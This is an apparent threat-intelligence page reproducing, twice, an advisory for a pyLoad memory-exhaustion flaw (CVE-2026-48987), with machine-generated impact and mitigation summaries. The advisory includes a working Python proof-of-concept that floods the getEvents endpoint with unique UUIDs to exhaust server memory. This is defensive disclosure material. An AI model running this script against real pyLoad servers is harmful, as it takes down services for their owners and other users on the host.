Pyload ng: pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager (CVE-2026-48987)
## Description: The `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack. ## Vulnerable Code: https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17 > Here the client is added to the `clients` list but never cleared the inactive clients. ## Exploitation: 1. **Start pyLoad server** (Ensure the `pyload` server is running) 2. **Authenticate**: Obtain a session cookie or an API key (Here i used the API key). 3. **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`. ```python import requests import uuid import time # Configuration URL = "http://localhost:8000/api/getEvents" NUM_REQUESTS = 100000 headers = { "X-API-Key" : "<YOUR_APIKEY>" } print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...") for i in range(NUM_REQUESTS): # Generating a new UUID uid = str(uuid.uuid4()) try: # Sending request requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5) if i % 1000 == 0: print(f"Sent {i} requests...") except requests.exceptions.RequestException as e: print(f"Error at request {i}: {e}") break print("Attack complete. Check memory usage.") ``` 5. **Monitor Memory**: Monitor the memory usage of the `pyload` process (e.g., using `top`, `ps` or the following commands). ```bash PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done ``` 6. **Observe Growth**: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds. https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686 ## Impact: - Denial of Service (DoS). The `pyload` process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host. ## Mitigations: - **Invoke `clean()`**: Call `self.clean()` at the beginning of the `get_events` method to purge inactive clients before processing new ones. - **Rate Limiting**: Implement rate limiting on the `getEvents` endpoint to prevent a single client from flooding the server with unique UUIDs.
AI Analysis
Technical Summary
The vulnerability in pyLoad's EventManager module arises because each unique UUID from the get_events API causes a new Client instance to be appended to an internal clients list without ever removing inactive clients. Although a clean() method exists to remove non-responding clients, it is never called in the codebase. This results in uncontrolled memory growth as the clients list expands indefinitely with each unique UUID request. Attackers can exploit this by sending a large number of requests with unique UUIDs, causing the pyLoad process to consume all available memory, leading to denial of service. The vulnerability is classified under CWE-400 (Uncontrolled Resource Consumption), CWE-401 (Improper Release of Memory), and CWE-770 (Allocation of Resources Without Limits or Throttling). No official patch or fix is currently documented. Recommended mitigations are to call the clean() method to purge inactive clients before processing new requests and to implement rate limiting on the getEvents API endpoint to prevent flooding.
Potential Impact
The vulnerability causes the pyLoad process to consume increasing amounts of memory without release, eventually exhausting system memory. This leads to denial of service conditions, including potential out-of-memory kills by the operating system or broader system instability affecting other services on the host. There is no direct impact on confidentiality or integrity reported.
Mitigation Recommendations
No official patch or fix is currently available. It is recommended to modify the pyLoad EventManager code to invoke the clean() method at the start of the get_events API handler to remove inactive Client instances and prevent unbounded memory growth. Additionally, implementing rate limiting on the getEvents API endpoint can help prevent abuse by limiting the number of unique UUID requests from a single client. Monitor for updates from the vendor or project repository for any official fixes.
Pyload ng: pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager (CVE-2026-48987)
Description
## Description: The `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack. ## Vulnerable Code: https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17 > Here the client is added to the `clients` list but never cleared the inactive clients. ## Exploitation: 1. **Start pyLoad server** (Ensure the `pyload` server is running) 2. **Authenticate**: Obtain a session cookie or an API key (Here i used the API key). 3. **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`. ```python import requests import uuid import time # Configuration URL = "http://localhost:8000/api/getEvents" NUM_REQUESTS = 100000 headers = { "X-API-Key" : "<YOUR_APIKEY>" } print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...") for i in range(NUM_REQUESTS): # Generating a new UUID uid = str(uuid.uuid4()) try: # Sending request requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5) if i % 1000 == 0: print(f"Sent {i} requests...") except requests.exceptions.RequestException as e: print(f"Error at request {i}: {e}") break print("Attack complete. Check memory usage.") ``` 5. **Monitor Memory**: Monitor the memory usage of the `pyload` process (e.g., using `top`, `ps` or the following commands). ```bash PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done ``` 6. **Observe Growth**: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds. https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686 ## Impact: - Denial of Service (DoS). The `pyload` process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host. ## Mitigations: - **Invoke `clean()`**: Call `self.clean()` at the beginning of the `get_events` method to purge inactive clients before processing new ones. - **Rate Limiting**: Implement rate limiting on the `getEvents` endpoint to prevent a single client from flooding the server with unique UUIDs.
CVSS v3.1
Score 6.5medium
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability in pyLoad's EventManager module arises because each unique UUID from the get_events API causes a new Client instance to be appended to an internal clients list without ever removing inactive clients. Although a clean() method exists to remove non-responding clients, it is never called in the codebase. This results in uncontrolled memory growth as the clients list expands indefinitely with each unique UUID request. Attackers can exploit this by sending a large number of requests with unique UUIDs, causing the pyLoad process to consume all available memory, leading to denial of service. The vulnerability is classified under CWE-400 (Uncontrolled Resource Consumption), CWE-401 (Improper Release of Memory), and CWE-770 (Allocation of Resources Without Limits or Throttling). No official patch or fix is currently documented. Recommended mitigations are to call the clean() method to purge inactive clients before processing new requests and to implement rate limiting on the getEvents API endpoint to prevent flooding.
Potential Impact
The vulnerability causes the pyLoad process to consume increasing amounts of memory without release, eventually exhausting system memory. This leads to denial of service conditions, including potential out-of-memory kills by the operating system or broader system instability affecting other services on the host. There is no direct impact on confidentiality or integrity reported.
Mitigation Recommendations
No official patch or fix is currently available. It is recommended to modify the pyLoad EventManager code to invoke the clean() method at the start of the get_events API handler to remove inactive Client instances and prevent unbounded memory growth. Additionally, implementing rate limiting on the getEvents API endpoint can help prevent abuse by limiting the number of unique UUID requests from a single client. Monitor for updates from the vendor or project repository for any official fixes.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-c2f9-4mc8-j656
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2026-48987"]
- Ecosystems
- ["PyPI"]
- Database Specific Severity
- MODERATE
- Cvss Version
- 3.1
Threat ID: 6a4fa9a168715ace437d3e23
Added to database: 07/09/2026, 14:01:05 UTC
Last enriched: 07/09/2026, 14:03:17 UTC
Last updated: 07/31/2026, 12:27:13 UTC
Views: 57
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.